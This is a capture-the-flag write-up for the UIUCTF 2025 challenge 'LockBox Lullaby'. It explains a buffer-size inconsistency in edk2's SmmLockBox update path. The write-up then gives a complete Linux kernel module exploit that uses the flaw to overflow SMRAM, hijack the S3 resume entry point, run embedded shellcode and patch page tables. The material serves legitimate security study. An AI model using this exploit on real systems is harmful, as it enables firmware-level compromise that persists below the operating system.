Leverage a little mistake in edk2 to shatter the LockBox Lullaby
I would like to thank the authors of the challenge first for creating it, especially for providing a rootfs with everything you need to compile a kernel module without any pain. I do hope every CTF challenge can be like this.
I participated in the UIUCTF 2025 with r3kapig and got the first blood for this challenge. Here is a brief writeup of it.
Challenge Analysis
Besides those memory access restrictions patches, we have two interesting patches, one unlocks the SmmLockBox
that makes us possible to interact with it in the OS. The other one enable system wakeup via serial input.
The input to the SmmLockBox
’s various functions can be untrusted and need to be sanitized. There are a lot of critical operations, for example, copying based on user input
CopyMem ((VOID *)((UINTN)LockBox->SmramBuffer + Offset), Buffer, Length);
and there are many SmmIsBufferOutsideSmmValid
calls to make sure inputs are valid, i.e., not in SMRAM or overflow.
if (!SmmIsBufferOutsideSmmValid ((UINTN)TempLockBoxParameterUpdate.Buffer, (UINTN)TempLockBoxParameterUpdate.Length)) {
DEBUG ((DEBUG_ERROR, "SmmLockBox Update address in SMRAM or buffer overflow!\n"));
LockBoxParameterUpdate->Header.ReturnStatus = (UINT64)EFI_ACCESS_DENIED;
return;
}
Initial Memory Corruption
There is an interesting size inconsistency of SMM_LOCK_BOX_DATA::Buffer
and SMM_LOCK_BOX_DATA::SmramBuffer
when updating the lockbox
if (EFI_PAGES_TO_SIZE (EFI_SIZE_TO_PAGES ((UINTN)LockBox->Length)) < Offset + Length) {
//
// In SaveLockBox(), the SMRAM buffer allocated for LockBox is of page
// granularity. Here, if the required size is larger than the origin size
// of the pages, allocate new buffer from SMRAM to enlarge the LockBox.
//
DEBUG ((
DEBUG_INFO,
"SmmLockBoxSmmLib UpdateLockBox - Allocate new buffer to enlarge.\n"
));
Status = gMmst->MmAllocatePages (
AllocateAnyPages,
EfiRuntimeServicesData,
EFI_SIZE_TO_PAGES (Offset + Length),
&SmramBuffer
);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_INFO, "SmmLockBoxSmmLib UpdateLockBox - Exit (%r)\n", EFI_OUT_OF_RESOURCES));
return EFI_OUT_OF_RESOURCES;
}
//
// Copy origin data to the new SMRAM buffer and wipe the content in the
// origin SMRAM buffer.
//
CopyMem ((VOID *)(UINTN)SmramBuffer, (VOID *)(UINTN)LockBox->SmramBuffer, (UINTN)LockBox->Length);
ZeroMem ((VOID *)(UINTN)LockBox->SmramBuffer, (UINTN)LockBox->Length);
gMmst->MmFreePages (LockBox->SmramBuffer, EFI_SIZE_TO_PAGES ((UINTN)LockBox->Length));
LockBox->SmramBuffer = SmramBuffer;
}
//
// Handle uninitialized content in the LockBox.
//
if (Offset > LockBox->Length) {
ZeroMem (
(VOID *)((UINTN)LockBox->SmramBuffer + (UINTN)LockBox->Length),
Offset - (UINTN)LockBox->Length
);
}
LockBox->Length = Offset + Length;
The SMM_LOCK_BOX_DATA::SmramBuffer
is resized and the SMM_LOCK_BOX_DATA::Length
is updated as well. However, the SMM_LOCK_BOX_DATA::Buffer
is not resized, which means that the size of SMM_LOCK_BOX_DATA::Buffer
can be smaller than SMM_LOCK_BOX_DATA::Length
and SMM_LOCK_BOX_DATA::SmramBuffer
.
And when restore the lockbox in-place:
CopyMem ((VOID *)(UINTN)LockBox->Buffer, (VOID *)(UINTN)LockBox->SmramBuffer, (UINTN)LockBox->Length);
This provides us a with very great buffer overflow. Although all inputs are sanitized.
Exploit
All user provided inputs are sanitized by SmmIsBufferOutsideSmmValid
, so we need to find a way to bypass it. It guarantees that the input buffer is not in SMRAM and won’t overflow into it. However, with the vulnerability above, we can provide a buffer outside SMRAM, let’s say, 0xf0000000-1
with length 0x1
which is totally valid. Then trigger the buffer overflow to overwrite SmmS3ResumeState
that is located at the CpuStart
.
typedef struct {
UINT64 Signature;
EFI_PHYSICAL_ADDRESS SmmS3ResumeEntryPoint;
EFI_PHYSICAL_ADDRESS SmmS3StackBase;
UINT64 SmmS3StackSize;
UINT64 SmmS3Cr0;
UINT64 SmmS3Cr3;
UINT64 SmmS3Cr4;
UINT16 ReturnCs;
EFI_PHYSICAL_ADDRESS ReturnEntryPoint;
EFI_PHYSICAL_ADDRESS ReturnContext1;
EFI_PHYSICAL_ADDRESS ReturnContext2;
EFI_PHYSICAL_ADDRESS ReturnStackPointer;
EFI_PHYSICAL_ADDRESS Smst;
} SMM_S3_RESUME_STATE;
This structure is responsible for recovery from S3 sleep. Take a look at the structure, there is a very great candidate to overwrite, SmmS3ResumeEntryPoint
, which is the entry point of SMM S3 resume. Also, the resuming process will restore the stack as well, which is also under our control.
SwitchStack (
(SWITCH_STACK_ENTRY_POINT)(UINTN)SmmS3ResumeState->SmmS3ResumeEntryPoint,
(VOID *)AcpiS3Context,
0,
(VOID *)(UINTN)(SmmS3ResumeState->SmmS3StackBase + SmmS3ResumeState->SmmS3StackSize)
);
Finally, we can craft a small ROP gadget on the stack and jump to our shellcode, then overwrite the handlers of SmmLockBox
to execute our shellcode.
Bypass the memory access restrictions
As we can execute almost any code we want, we can just overwrite the corresponding PTE. If cr3 == 0000000000FF83000
, the PTE for 0x44440000
will be at 0xff95200
.
mov rax, 0x8000000044440067
mov qword ptr [0x000000000ff95200], rax
Then we can make it accessible.
To safely resume the system, I choose to return back to the original resume routine, SmmRestoreCpu
after overwriting the lockbox handlers. The generated code will look like this:
push rax
mov rax, 0x8000000044440067
mov qword ptr [0x000000000ff95200], rax
mov rax, 4919056693616479048
mov qword ptr [0xffdc743], rax
mov rax, 4919056727977790280
mov qword ptr [0xffdc743+8], rax
mov rax, 4919056762336480072
mov qword ptr [0xffdc743+16], rax
mov rax, 4919056796696742728
mov qword ptr [0xffdc743+24], rax
mov rax, 4919056831055432524
mov qword ptr [0xffdc743+32], rax
mov rax, 4919056865415695180
mov qword ptr [0xffdc743+0x28], rax
mov rax, 4919056899775957836
mov qword ptr [0xffdc743+0x30], rax
mov qword ptr [0xffdc743+56], 0xb0f
pop rax
mov byte ptr [0xffe0178], 0
mov qword ptr [0x000000000eace150], 0
sub rsp, 0x18
mov qword ptr [rsp], 0x000000000ffc0a2a
ret
Full Exploit Code
#include <linux/init.h>
#include <linux/module.h>
#include <asm/msr.h>
#include <asm/io.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/pgtable.h>
#include <linux/slab.h>
#include <linux/acpi.h>
#include <linux/dma-mapping.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xia0o0o0o");
MODULE_DESCRIPTION("PWN");
typedef struct
{
uint32_t Data1;
uint16_t Data2;
uint16_t Data3;
uint8_t Data4[8];
} EFI_GUID;
#define EFI_SMM_LOCK_BOX_COMMUNICATION_GUID \
{0x2a3cfebd, 0x27e8, 0x4d0a, {0x8b, 0x79, 0xd6, 0x88, 0xc2, 0xa3, 0xe1, 0xc0}}
EFI_GUID gEfiSmmLockBoxCommunicationGuid = EFI_SMM_LOCK_BOX_COMMUNICATION_GUID;
typedef uint64_t UINTN;
typedef uint8_t UINT8;
typedef uint32_t UINT32;
typedef uint64_t UINT64;
typedef uint64_t PHYSICAL_ADDRESS;
typedef EFI_GUID GUID;
#include <linux/types.h>
typedef struct
{
///
/// Allows for disambiguation of the message format.
///
EFI_GUID HeaderGuid;
///
/// Describes the size of Data (in bytes) and does not include the size of the header.
///
UINTN MessageLength;
///
/// Designates an array of bytes that is MessageLength in size.
///
UINT8 Data[1];
} EFI_MM_COMMUNICATE_HEADER;
#define EFI_SMM_LOCK_BOX_COMMAND_SAVE 0x1
#define EFI_SMM_LOCK_BOX_COMMAND_UPDATE 0x2
#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE 0x3
#define EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES 0x4
#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE 0x5
#define BIT0 0x00000001
#define BIT1 0x00000002
//
// With this flag, this LockBox can be restored to this Buffer
// with RestoreAllLockBoxInPlace()
//
#define LOCK_BOX_ATTRIBUTE_RESTORE_IN_PLACE BIT0
//
// With this flag, this LockBox can be restored in S3 resume only.
// This LockBox can not be restored after SmmReadyToLock in normal boot
// and after EndOfS3Resume in S3 resume.
// It can not be set together with LOCK_BOX_ATTRIBUTE_RESTORE_IN_PLACE.
//
#define LOCK_BOX_ATTRIBUTE_RESTORE_IN_S3_ONLY BIT1
typedef struct
{
UINT32 Command;
UINT32 DataLength;
UINT64 ReturnStatus;
} EFI_SMM_LOCK_BOX_PARAMETER_HEADER;
typedef struct
{
EFI_SMM_LOCK_BOX_PARAMETER_HEADER Header;
GUID Guid;
PHYSICAL_ADDRESS Buffer;
UINT64 Length;
} EFI_SMM_LOCK_BOX_PARAMETER_SAVE;
typedef struct
{
EFI_SMM_LOCK_BOX_PARAMETER_HEADER Header;
GUID Guid;
UINT64 Offset;
PHYSICAL_ADDRESS Buffer;
UINT64 Length;
} EFI_SMM_LOCK_BOX_PARAMETER_UPDATE;
typedef struct
{
EFI_SMM_LOCK_BOX_PARAMETER_HEADER Header;
GUID Guid;
PHYSICAL_ADDRESS Buffer;
UINT64 Length;
} EFI_SMM_LOCK_BOX_PARAMETER_RESTORE;
typedef struct
{
EFI_SMM_LOCK_BOX_PARAMETER_HEADER Header;
GUID Guid;
UINT64 Attributes;
} EFI_SMM_LOCK_BOX_PARAMETER_SET_ATTRIBUTES;
typedef struct
{
EFI_SMM_LOCK_BOX_PARAMETER_HEADER Header;
} EFI_SMM_LOCK_BOX_PARAMETER_RESTORE_ALL_IN_PLACE;
// SMM_CORE_PRIVATE_DATA *gSmmCorePrivate;
#if 0
typedef struct {
UINTN Signature;
///
/// The ImageHandle passed into the entry point of the SMM IPL. This ImageHandle
/// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded
/// Image Protocol for each SMM Driver that is dispatched by the SMM Core.
///
EFI_HANDLE SmmIplImageHandle;
///
/// The number of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
UINTN SmramRangeCount;
///
/// A table of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
EFI_SMRAM_DESCRIPTOR *SmramRanges;
///
/// The SMM Foundation Entry Point. The SMM Core fills in this field when the
/// SMM Core is initialized. The SMM IPL is responsible for registering this entry
/// point with the SMM Configuration Protocol. The SMM Configuration Protocol may
/// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL
/// sets up a protocol notification on the SMM Configuration Protocol and registers
/// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is
/// available.
///
EFI_SMM_ENTRY_POINT SmmEntryPoint;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN SmmEntryPointRegistered;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN InSmm;
///
/// This field is set by the SMM Core then the SMM Core is initialized. This field is
/// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in
/// the SMM IPL.
///
EFI_SMM_SYSTEM_TABLE2 *Smst;
///
/// This field is used by the SMM Communication Protocol to pass a buffer into
/// a software SMI handler and for the software SMI handler to pass a buffer back to
/// the caller of the SMM Communication Protocol.
///
VOID *CommunicationBuffer;
///
/// This field is used by the SMM Communication Protocol to pass the size of a buffer,
/// in bytes, into a software SMI handler and for the software SMI handler to pass the
/// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.
///
UINTN BufferSize;
///
/// This field is used by the SMM Communication Protocol to pass the return status from
/// a software SMI handler back to the caller of the SMM Communication Protocol.
///
EFI_STATUS ReturnStatus;
EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase;
UINT64 PiSmmCoreImageSize;
EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint;
} SMM_CORE_PRIVATE_DATA;
#endif
#define SMMC_PHYS_ADDR 0xeacd160
#define COMMAND_BUFFER_PHYS_ADDR 0xeb68000
void *comm_virt = NULL, *payload_virt, *smmc = NULL;
void *reserved = NULL;
void trigger_smi(void);
void send_smi(void *data, uint64_t size);
void test_smi(void);
void save_lockbox(GUID guid, PHYSICAL_ADDRESS buffer, UINT64 length) {
EFI_SMM_LOCK_BOX_PARAMETER_SAVE save = {
.Header = {
.Command = EFI_SMM_LOCK_BOX_COMMAND_SAVE,
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_SAVE),
.ReturnStatus = 0
},
.Buffer = buffer,
.Length = length
};
memcpy(&save.Guid, &guid, sizeof(GUID));
send_smi(&save, sizeof(save));
}
void set_lockbox_attributes(GUID guid, UINT64 attributes) {
EFI_SMM_LOCK_BOX_PARAMETER_SET_ATTRIBUTES set_attributes = {
.Header = {
.Command = EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES,
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_SET_ATTRIBUTES),
.ReturnStatus = 0
},
.Attributes = attributes
};
memcpy(&set_attributes.Guid, &guid, sizeof(GUID));
send_smi(&set_attributes, sizeof(set_attributes));
}
void update_lockbox(GUID guid, UINT64 buffer, UINTN offset, UINTN length) {
EFI_SMM_LOCK_BOX_PARAMETER_UPDATE update = {
.Header = {
.Command = EFI_SMM_LOCK_BOX_COMMAND_UPDATE,
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_UPDATE),
.ReturnStatus = 0
},
.Buffer = buffer,
.Offset = offset,
.Length = length
};
memcpy(&update.Guid, &guid, sizeof(GUID));
send_smi(&update, sizeof(update));
}
void restore_lockbox(GUID guid, PHYSICAL_ADDRESS buffer, UINT64 length) {
EFI_SMM_LOCK_BOX_PARAMETER_RESTORE restore = {
.Header = {
.Command = EFI_SMM_LOCK_BOX_COMMAND_RESTORE,
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_RESTORE),
.ReturnStatus = 0
},
.Buffer = buffer,
.Length = length
};
memcpy(&restore.Guid, &guid, sizeof(GUID));
send_smi(&restore, sizeof(restore));
}
void restore_all_lockbox_in_place(void) {
EFI_SMM_LOCK_BOX_PARAMETER_RESTORE_ALL_IN_PLACE restore_all = {
.Header = {
.Command = EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE,
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_RESTORE_ALL_IN_PLACE),
.ReturnStatus = 0
}
};
send_smi(&restore_all, sizeof(restore_all));
}
static int __init pwn_init(void) {
pr_info("[*] pwn: module loaded\n");
reserved = ioremap(SMMC_PHYS_ADDR & (~0xfffull), 2 * PAGE_SIZE);
if (!reserved) {
pr_err("pwn: failed to ioremap reserved memory\n");
return -ENOMEM;
}
smmc = reserved + (SMMC_PHYS_ADDR & 0xfff);
comm_virt = ioremap(COMMAND_BUFFER_PHYS_ADDR & (~0xfffull), PAGE_SIZE);
if (!comm_virt) {
pr_err("[-] pwn: failed to ioremap command buffer\n");
return -ENOMEM;
}
pr_info("[+] pwn: smmc at 0x%llx, comm_virt at 0x%llx\n", smmc, comm_virt);
#if 0
test_smi();
#endif
EFI_GUID guid;
memset(&guid, 0x11, sizeof(EFI_GUID));
pr_info("[*] create a lockbox\n");
save_lockbox(guid, 0xf000000-1, 1);
pr_info("[*] set lockbox attributes\n");
set_lockbox_attributes(guid, LOCK_BOX_ATTRIBUTE_RESTORE_IN_S3_ONLY);
void *buffer = comm_virt + 0x800;
memset(buffer, 0x60, 0x400);
*(uint64_t *)(buffer + 1) = 0x34365f33534d4d53;
*(uint64_t *)(buffer + 0x1 + 0x8) = 0xffc7673;
*(uint64_t *)(buffer + 0x1 + 0x10) = SMMC_PHYS_ADDR + 0x1000 - 0x8000;
pr_info("[*] update lockbox\n");
update_lockbox(guid, (UINT64)COMMAND_BUFFER_PHYS_ADDR+0x800, 0, 0x1 + 0x8 + 0x8 + 0x8);
pr_info("[*] set attributes back to restore in place\n");
set_lockbox_attributes(guid, 0);
set_lockbox_attributes(guid, LOCK_BOX_ATTRIBUTE_RESTORE_IN_PLACE);
pr_info("[*] restore lockbox\n");
restore_all_lockbox_in_place();
{
void *addr_ret_addr = reserved + 0x1000 - 0x28 + 0x160;
*(uint64_t *)addr_ret_addr = 0x41414141;
}
{
void *addr_ret_addr = reserved + 0x1000 - 0x28 + 0x168;
*(uint64_t *)addr_ret_addr = 0x000000000eace150;
uint64_t *code_start = (uint64_t *)(reserved + 0x1000 - 0x28 + 0x168 + 2 * 8);
code_start[0] = 0x0044440067b84850;
code_start[1] = 0x0025048948800000;
code_start[2] = 0x048b48b8480ff952;
code_start[3] = 0x0489484444000025;
code_start[4] = 0x48b8480ffdc74325;
code_start[5] = 0x4844440008251c8b;
code_start[6] = 0x480ffdc74b250489;
code_start[7] = 0x440010250c8b48b8;
code_start[8] = 0xfdc7532504894844;
code_start[9] = 0x1825148b48b8480f;
code_start[10] = 0x5b25048948444400;
code_start[11] = 0x048b4cb8480ffdc7;
code_start[12] = 0x0489484444002025;
code_start[13] = 0x4cb8480ffdc76325;
code_start[14] = 0x4844440028250c8b;
code_start[15] = 0x480ffdc76b250489;
code_start[16] = 0x44003025148b4cb8;
code_start[17] = 0xfdc7732504894844;
code_start[18] = 0xfdc77b2504c7480f;
code_start[19] = 0x04c65800000b0f0f;
code_start[20] = 0xc748000ffe017825;
code_start[21] = 0x00000eace1502504;
code_start[22] = 0xc74818ec83480000;
code_start[23] = 0x00c30ffc0a2a2404;
}
return 0;
}
void test_smi() {
EFI_SMM_LOCK_BOX_PARAMETER_SAVE save = {
.Header = {
.Command = 0x41414141, // Example command
.DataLength = sizeof(EFI_SMM_LOCK_BOX_PARAMETER_SAVE) - sizeof(EFI_SMM_LOCK_BOX_PARAMETER_HEADER),
.ReturnStatus = 0
},
.Buffer = (PHYSICAL_ADDRESS)comm_virt,
.Length = 0xdeadbeef // Example length
};
send_smi(&save, sizeof(save));
pr_info("[*] pwn: SMI triggered with test data\n");
}
void send_smi(void *data, uint64_t size) {
void *comm = smmc + 56;
void *comm_size = smmc + 64;
uint64_t total_size = size + sizeof(EFI_GUID) + sizeof(UINTN);
memcpy(comm_virt, &gEfiSmmLockBoxCommunicationGuid, sizeof(EFI_GUID));
memcpy(comm_virt + sizeof(EFI_GUID), &size, sizeof(UINTN));
memcpy(comm_virt + sizeof(EFI_GUID) + sizeof(UINTN), data, size);
writeq(COMMAND_BUFFER_PHYS_ADDR, comm);
writeq(total_size, comm_size);
trigger_smi();
}
static void __exit pwn_exit(void) {
pr_info("pwn: module unloaded\n");
// trigger SMI again
EFI_GUID guid;
memset(&guid, 0x22, sizeof(EFI_GUID));
save_lockbox(guid, 0, 1);
}
void trigger_smi(void) {
asm volatile(
".intel_syntax noprefix;"
"xor eax, eax;"
"out 0xb3, eax;"
"out 0xb2, eax;"
".att_syntax;" ::: "rax");
}
module_init(pwn_init);
module_exit(pwn_exit);
The flag will be read into rax, rbx, rcx, rdx, r8, r9, r10
and can be retrieved from the crash log.